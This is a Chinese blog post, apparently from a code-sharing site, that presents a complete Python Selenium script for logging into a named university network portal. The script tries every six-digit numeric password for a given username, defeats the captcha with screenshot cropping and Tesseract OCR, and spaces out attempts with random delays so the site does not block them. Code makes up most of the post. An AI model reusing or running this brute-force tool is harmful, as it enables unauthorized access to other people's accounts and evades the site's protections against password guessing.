python selenium循环登陆网站的实现


Posted in Python onNovember 04, 2019

selenium 登陆网站

记录一次登陆无线网的过程

1.首先看一下要登陆的界面

python selenium循环登陆网站的实现

按一下F12看一下网页的源代码

python selenium循环登陆网站的实现

想要登陆的话,这里需要识别验证码…有点麻烦

我们看看向网站post的信息

python selenium循环登陆网站的实现

可以看到向服务器post 4个信息,一个是_csrf 验证 还有一个是验证码

csrf 验证码藏在了源码里面

python selenium循环登陆网站的实现

只需要向服务器post就行了

。。。

2.看一下selenium登陆呢?

self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

识别验证码

code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码 根据实际情况变动
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code

最后看一下总的代码

import time
import random
import re
from selenium import webdriver
from PIL import Image,ImageEnhance
import pytesseract


class HZAU_net():
  def __init__(self,username):
    self.username=username
    self.url='http://zizhu.hzau.edu.cn'

  def run(self): #密码循环
    self.browser = webdriver.Firefox() #打开浏览器
    self.browser.maximize_window()   #窗口最大化
    self.browser.get(self.url)     #访问网站
    sleep_time_list=[1,2,3,4]
    out=open('HZAU_net.txt','a+')
    for x in range(999999):
      password="%06d"%(x) #生成密码
      flag=self.test_password(password) #判断密码正误 错误返回0 正确返回1
      time.sleep(random.choice(sleep_time_list)) #随机休息1-4秒 不能请求太快
      if flag=='1': #密码正确跳出循环
        out.write('用户名:%s 测试密码:%s 正确\n'%(self.username,password))
        out.write('\n-------------------------分割线-------------------------\n')
        break
      else:
        out.write('用户名:%s 测试密码:%s 错误\n'%(self.username,password))
    out.close()

  def test_password(self,password):#检验密码正确性
    code=self.get_code()
    self.login(password,code)
    login_flag=self.browser.title
    if login_flag=='首页':
      return 1
    else:
      flag=self.judge_error(password)
      return flag
    self.browser.quit()

  def login(self,password,code):#登陆
    self.browser.find_element_by_id("loginform-username").clear()
    self.browser.find_element_by_id("loginform-username").send_keys(self.username) #用户名
    self.browser.find_element_by_id("loginform-password").clear()
    self.browser.find_element_by_id("loginform-password").send_keys(password) #密码
    self.browser.find_element_by_id("loginform-verifycode").clear()
    self.browser.find_element_by_id("loginform-verifycode").send_keys(code)
    self.browser.find_element_by_name("login-button").click()
    time.sleep(0.5)

  def judge_error(self,password): #判断错误类型
    flag=''
    while flag !=None:
      code=self.get_code()
      self.login(password,code)
      judge_flag=self.browser.find_element_by_css_selector("#login-form > div:nth-child(5) > div >ul").get_attribute('textContent') #错误信息
      flag=re.search('验证码',judge_flag)
    return 0

  def get_code(self):  #识别验证码
    code='1'
    while len(code)!=4 or code.isalpha() !=True:
      self.browser.find_element_by_id("loginform-verifycode-image").click() #改变验证码
      self.browser.save_screenshot('img.png') #对页面进行截图
      im = Image.open('img.png')
      img = im.crop((1200,400,1350, 520)) #截取验证码
      img = ImageEnhance.Contrast(img)  #加强比对
      img = img.enhance(2.0)
      img.save('picture2.png')
      code = pytesseract.image_to_string(img) #识别
    return code


if __name__ == '__main__':
  HZAU_net('123456').run()

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
简单谈谈Python中的闭包
Nov 30 Python
Python实现将HTML转换成doc格式文件的方法示例
Nov 20 Python
Python3单行定义多个变量或赋值方法
Jul 12 Python
Python Requests库基本用法示例
Aug 20 Python
Pandas 按索引合并数据集的方法
Nov 15 Python
Python GUI编程 文本弹窗的实例
Jun 11 Python
浅谈python多进程共享变量Value的使用tips
Jul 16 Python
python爬虫爬取幽默笑话网站
Oct 24 Python
Python操作Sonqube API获取检测结果并打印过程解析
Nov 27 Python
在pycharm中实现删除bookmark
Feb 14 Python
python对一个数向上取整的实例方法
Jun 18 Python
Python使用cn2an实现中文数字与阿拉伯数字的相互转换
Mar 02 Python
Django项目中使用JWT的实现代码
Nov 04 #Python
Python collections中的双向队列deque简单介绍详解
Nov 04 #Python
Python 下载及安装详细步骤
Nov 04 #Python
Django框架表单操作实例分析
Nov 04 #Python
ubuntu 18.04 安装opencv3.4.5的教程(图解)
Nov 04 #Python
Django框架模板用法入门教程
Nov 04 #Python
python matplotlib折线图样式实现过程
Nov 04 #Python
You might like
PHP中查询SQL Server或Sybase时TEXT字段被截断的解决方法
2009/03/10 PHP
PHPMailer使用教程(PHPMailer发送邮件实例分析)
2012/12/06 PHP
微信公众号开发客服接口实例代码
2016/10/21 PHP
TP5框架model常见操作示例小结【增删改查、聚合、时间戳、软删除等】
2020/04/05 PHP
javascript iframe编程相关代码
2009/12/28 Javascript
基于JQuery制作的产品广告效果
2010/12/08 Javascript
jquery 单击li防止重复加载的实现代码
2010/12/24 Javascript
纯js网页画板(Graphics)类简介及实现代码
2012/12/24 Javascript
AJAX跨域请求json数据的实现方法
2013/11/11 Javascript
ExtJS的拖拽效果示例
2013/12/09 Javascript
纯js代码实现简单计算器
2015/12/02 Javascript
使用jQuery UI库开发Web界面的简单入门指引
2016/04/22 Javascript
Json解析的方法小结
2016/06/22 Javascript
ES6字符串模板,剩余参数,默认参数功能与用法示例
2017/04/06 Javascript
Nodejs读取文件时相对路径的正确写法(使用fs模块)
2017/04/27 NodeJs
浅谈angular.js跨域post解决方案
2017/08/30 Javascript
vue+webpack实现异步组件加载的方法
2018/02/03 Javascript
深入理解ES6中let和闭包
2018/02/22 Javascript
使用Vue动态生成form表单的实例代码
2018/04/26 Javascript
简单了解微信小程序 e.target与e.currentTarget的不同
2019/09/27 Javascript
Vuex的热更替如何实现
2020/06/05 Javascript
解决vuex改变了state的值,但是页面没有更新的问题
2020/11/12 Javascript
Python实现比较两个列表(list)范围
2015/06/12 Python
python 监听salt job状态,并任务数据推送到redis中的方法
2019/01/14 Python
python使用time、datetime返回工作日列表实例代码
2019/05/09 Python
详解Django CAS 解决方案
2019/10/30 Python
Spring Cloud Feign高级应用实例详解
2019/12/10 Python
解决pycharm不能自动补全第三方库的函数和属性问题
2020/03/12 Python
香港化妆品经销商:我的公主
2016/08/05 全球购物
网络艺术零售业的先驱者:artrepublic
2017/09/26 全球购物
英国的屈臣氏:Boots博姿
2017/12/23 全球购物
澳大利亚鞋仓库:Shoe Warehouse
2019/07/25 全球购物
体育教育毕业生自荐信
2013/11/21 职场文书
护士节演讲稿开场白
2014/08/25 职场文书
给下属加薪申请报告
2015/05/15 职场文书
Python连接Postgres/Mysql/Mongo数据库基本操作大全
2021/06/29 Python